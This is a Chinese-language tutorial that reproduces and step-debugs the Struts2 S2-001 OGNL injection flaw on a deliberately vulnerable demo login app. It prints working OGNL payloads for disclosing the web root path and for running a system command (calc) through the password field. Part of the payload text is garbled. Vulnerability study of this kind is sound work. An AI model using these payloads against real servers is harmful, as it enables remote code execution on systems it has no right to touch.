IDEA動態調試(一)——OGNL表達式注入(S2-001)
- 2020 年 3 月 12 日
- 筆記

一、環境搭建:
首先在IDEA中搭建調試環境,File-New-Java Enterprise,選擇Web Application:
然後構造項目,這裡使用現成的Demo程式碼:

依次新建web.xml:
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <display-name>S2-001 Example</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list></web-app>
前端程式碼,登錄頁面index.jsp和登錄成功的welcome.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit></s:form></body></html>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title></head><body><p>Hello <s:property value="username"></s:property></p></body></html>
src中新建com.demo.action包,後端處理程式碼LoginAction.java:
package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; }}並在src目錄下新建struts.xml:
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"><struts> <package name="S2-001" extends="struts-default"> <action name="login" class="com.demo.action.LoginAction"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package></struts>
最後在web目錄下新建lib目錄,放進所需的四個調用jar包,struts包下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip並在File—Project Structure—Dependencies—「+」 號—JARs將jar包導入:

最後將IDEA連接本地搭建好的Tomcat伺服器,Run-EditConfigurations,配置tomcat安裝地址及JRE:

二、攻擊效果復現:
點擊Run之後,進入搭建的環境,系統是在password欄位觸發的,首先在這裡輸入%{2+3}:

按程式碼邏輯,提交後若帳號密碼錯誤會將輸入列印,發現password被解析:2+3的結果5:

進一步進行攻擊,輸入payload,如獲取web目錄:
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
執行任意程式碼RCE:
%{#a=(new java.lang.ProcessBuilder(newjava.lang.String[]{"calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(newjava.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}三、動態調試
這才到了本文的重點,了解OGNL注入的漏洞原理及觸發過程以及動態調試的相關知識。S2-001的漏洞原理是在Struts2重新渲染jsp時,對ognl表達式進行了遞歸解析,導致了惡意的表達式被執行。我們以Debug方式運行環境:

在此之前需下一斷點,系統在運行在這裡的地方會停住,在點擊Submit,http請求經過tomcat容器的處理之後會到達struts2,所以可以從這裡開始調試,ParametersInterceptor類接受我們輸入的參數值進行處理:

開啟Debug後,輸入payload後submit,程式在斷點處停下,可觀察此時堆棧的情況:

下斷點的方法有很多,和二進位逆向的方法類似,下斷點的目的是幫助我們定位到關鍵處理。下斷點之後的另一個工作就是調試,主要用的Step into(F7)——遇到方法會進入,和Step over(F8)——不跟進方法內部。
這裡也可以在自定義類LoginAction里下斷點:
從調用棧中可以看到,在DefaultActionInvocation類中反射調用了我們自定義的類LoginAction

最終都會到達TextParseUtil類,在此處下斷點,程式會進入幾次,循環將變數轉換為對象,所以expression不一樣:

讀取jsp標籤並通過UIBean解析,這裡可以Step over直到解析到標籤的值:

經過XWorkConverter後expression的值變為%{password}:

由於沒有驗證,輸入%{2+3}被當做表達式進行解析,將解析結果取出繼續在while中循環解析,由於結果2不滿足表達式規則,將其返回為最終結果。

總結一下,漏洞的根因出現在XWork中ognl表達式的解析方法為遞歸解析。其他漏洞的動態調試方法也大概如此,後續總結。

